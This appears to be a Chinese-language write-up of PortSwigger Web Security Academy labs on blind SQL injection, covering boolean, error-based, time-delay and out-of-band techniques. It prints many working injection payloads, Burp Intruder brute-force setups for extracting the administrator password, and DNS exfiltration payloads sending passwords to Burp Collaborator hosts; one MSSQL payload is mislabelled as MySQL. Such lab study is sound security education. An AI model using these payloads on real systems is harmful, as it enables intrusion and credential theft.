當應用程式容易受到 SQL 注入攻擊,但其 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細資訊時,就會發生 SQL 盲注。
Content-based/Boolean-based blind SQL injection
根據注入的條件觸發不同的回應來取得資訊
假如正常請求如下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
...omit...
上述請求會變成sql語法如下
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
因此可以依序測試以下的內容
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='2
第一個注入的AND '1'='1
條件為 true,顯示Welcome back
第二個注入的AND '1'='2
條件為 false,不顯示Welcome back
這使我們能夠確定任何單一注入條件的答案,並一次提取一個數據,可以發動盲注功擊
- 確認是否有資料表user,如果為true表示存在(返回會顯示Welcome back)
##################### request #####################
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users LIMIT 1)='a
...omit...
##################### response #####################
...omit...
Welcome back
...omit...
- 確認資料表user是否有administrator,以下返回welcome back表示存在
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users WHERE username='administrator')='a
...omit...
- 確認administrator密碼長度,使用
intruder
的snippper
測試以下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>§§)='a
...omit...
payload1範圍從1試到20,如果產生false,表示長度為上一個數字
- 確認長度為10後,使用
intruder
的cluster bomb
測試以下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4' AND (SELECT SUBSTRING(password,§§,1) FROM users WHERE username='administrator')='§§
...omit...
payload1範圍為1-20,payload2範圍為a-zA-Z0-9
並且在settings/GREP-Match
設定只顯示返回內容含Welcome back
的結果
最後就能看到administrator的密碼
Lab: Blind SQL injection with conditional responses
Error-based SQL injection
基於錯誤的 SQL 注入是指使用錯誤訊息推斷資料的情況
透過觸發條件錯誤來利用 SQL 盲注
各數據庫常見語法可參考如下
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
---|---|
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
先用有效的 SQL 語法測試
Cookie: TrackingId=u5YD3PapB'||(SELECT '')||'
Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM dual)||'
第一個顯示為無效,第二個沒有收到錯誤,這表示目標使用oracle數據庫
使用oracle語法在做一次驗證
Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM not-a-real-table)||'
Cookie: TrackingId=u5YD3PapB'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
第一個為錯誤語法所以回傳錯誤訊息,第二個是正確語法所以沒回傳錯誤訊息,因此確認存在error-base漏洞
為了方便攻擊時判斷條件,可使用CASE
語句測試如下,如果條件為true,則計算一個會引發錯誤的表達式1/0
Cookie: TrackingId=u5YD3PapB'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Cookie: TrackingId=u5YD3PapB'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
第一個注入的1=1
條件為 true,會返回錯誤訊息
第二個注入的1=2
條件為 false,不返回錯誤訊息
這使我們能夠確定任何單一注入條件的答案,並一次提取一個數據,可以發動盲注功擊
確認資料表user是否有administrator,如果返回錯誤訊息表示存在
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
確認administrator密碼長度,使用intruder
的snippper
測試以下
'||(SELECT CASE WHEN LENGTH(password)>§§ THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
payload1範圍從1試到20,如果產生false,表示長度為上一個數字
確認長度為10後,使用intruder
的cluster bomb
測試以下
'||(SELECT CASE WHEN SUBSTR(password,§§,1)='§§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
payload1範圍為1-20,payload2範圍為a-zA-Z0-9
跑完後收集返回內容為Status 500的結果,就是administrator的密碼
Lab: Blind SQL injection with conditional errors
透過詳細的 SQL 錯誤訊息提取敏感數據
資料庫配置錯誤有時會導致詳細的錯誤訊息。這些可以提供對攻擊者可能有用的信息。
各數據庫常見語法可參考如下
Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') |
---|---|
PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) |
不知道目標網站是否有弱點,可在TrackingId=zGrTIjAYYHHLJeAY
後增加'
如下做測試
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'; session=EeTJK76cInY6604FSm566W8POJU6wYrT
返回完整錯誤訊息 Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'zGrTIjAYYHHLJeAY''. Expected char
改測試'--
如下,但不返回錯誤訊息,表示語法有效,目標有SQL注入弱點
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'--; session=EeTJK76cInY6604FSm566W8POJU6wYrT
嘗試使用cast測試如下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY' AND CAST((SELECT 1) AS int)--; session=EeTJK76cInY6604FSm566W8POJU6wYrT
返回 ERROR: argument of AND must be type boolean, not type integer
增加1=解決type integer問題如下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT 1) AS int)--; session=EeTJK76cInY6604FSm566W8POJU6wYrT
確認您不再收到錯誤,表示這是一個有效的查詢,確認cast能用,可以開始利用該弱點取得重要信息
- 嘗試從資料庫中檢索使用者名稱,僅針對TrackID內容修改為
zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT username FROM users) AS int)--
但返回Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'zGrTIjAYYHHLJeAY' AND 1=CAST((SELECT username FROM users) AS'. Expected char
- 查詢現在由於字元限製而被截斷,因此調整語法讓字數減少,如下
' AND 1=CAST((SELECT username FROM users) AS int)--
返回ERROR: more than one row returned by a subquery used as an expression
- 根據錯誤訊息,改為限制只查一筆
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
返回ERROR: invalid input syntax for type integer: "administrator"
- 根據錯誤訊息確認帳號為administrator,現在查密碼
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
返回 ERROR: invalid input syntax for type integer: "v4dz72zvg8kkhi72ndh1"
得到administrator的密碼為v4dz72zvg8kkhi72ndh1
Lab: Visible error-based SQL injection
Time-based blind SQL injection
注入條件是真是假來觸發時間延遲以做判斷
各數據庫Time delays語法如下
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
例如,目標網站用postgresql,可以在有漏洞的地方插入'||pg_sleep(10)--
,讓目標慢10秒
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=zGrTIjAYYHHLJeAY'||pg_sleep(10)--
Lab: Blind SQL injection with time delays
如果要增加條件,各數據庫的語法可參考以下
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
---|---|
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
在Microsoft SQL Server,可以使用以下方式判斷,如果條件成立就會慢10慢,就像第2個
Cookie: TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
Cookie: TrackingId=x'; IF (1=1) WAITFOR DELAY '0:0:10'--
在Microsoft SQL Server,猜測administrator的密碼,各別字元猜對會慢10秒
Cookie: TrackingId=x'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
假如目標網站為postgresql,可以如下操作
為了方便攻擊時判斷條件,可使用CASE
語句測試如下,如果條件為true,則回覆時間慢10秒
Cookie: TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Cookie: TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
第一個注入的1=1
條件為 true,會慢10秒
第二個注入的1=2
條件為 false,正常時間返回
這使我們能夠確定任何單一注入條件的答案,可以發動盲注功擊
- 判斷administrator是否存在
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- 判斷administrator密碼長度
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
由於密碼長度20以下都慢10秒,但由於此語句正常返回,因此密碼長度為20
- 確認administrator密碼長度後,使用
intruder
的clusterbomb
測試以下
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,§§,1)='§§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
payload1範圍為1-20,payload2範圍為a-zA-Z0-9
把所有慢10秒的結果收集起來,就是正確密碼
Lab: Blind SQL injection with time delays and information retrieval
OAST
當數據庫的不傳回任何資料、也不會傳回錯誤訊息,無法使用時間延遲時,可以用out-of-band方法,其中最常搭配的是DNS。
各數據庫的對外查詢dns語法可參考以下
Oracle | 如果還沒修補XXE漏洞,可以使用以下語法SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual 如果XXE漏洞己修補,可嘗試使用以下語法 SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
---|---|
Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
MySQL | 以下語法只能用在windo0ws平台 LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
Microsoft SQL Server 可用以下語法在指定網域進行dns尋找
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
ORACLE可用以下語法在指定網域進行dns尋找
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Lab: Blind SQL injection with out-of-band interaction
除此之外,也可以使用方式搭配DNS將資料外傳,各數據庫語法參考如下
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
---|---|
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | 以下語法只能用在windows平台 SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
目標為mysql,嘗試將密碼傳送到cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
,語法如下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
該語法產生以下DNS查詢
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
,S3cure
就是本次傳回的密碼
目標為oracle,嘗試將密碼傳送到9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net
,語法如下
GET / HTTP/2
Host: 0a1800d304f4172180218022007f00ae.web-security-academy.net
Cookie: TrackingId=x' UNION SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
該語法產生以下DNS查詢
fn49nc7npijudxvpkm2b.9y8vyliryu9i2nrwgxvqdmkz6qcg05.burpcollaborator.net
,fn49nc7npijudxvpkm2b就是本次傳回的密碼
Lab: Blind SQL injection with out-of-band data exfiltration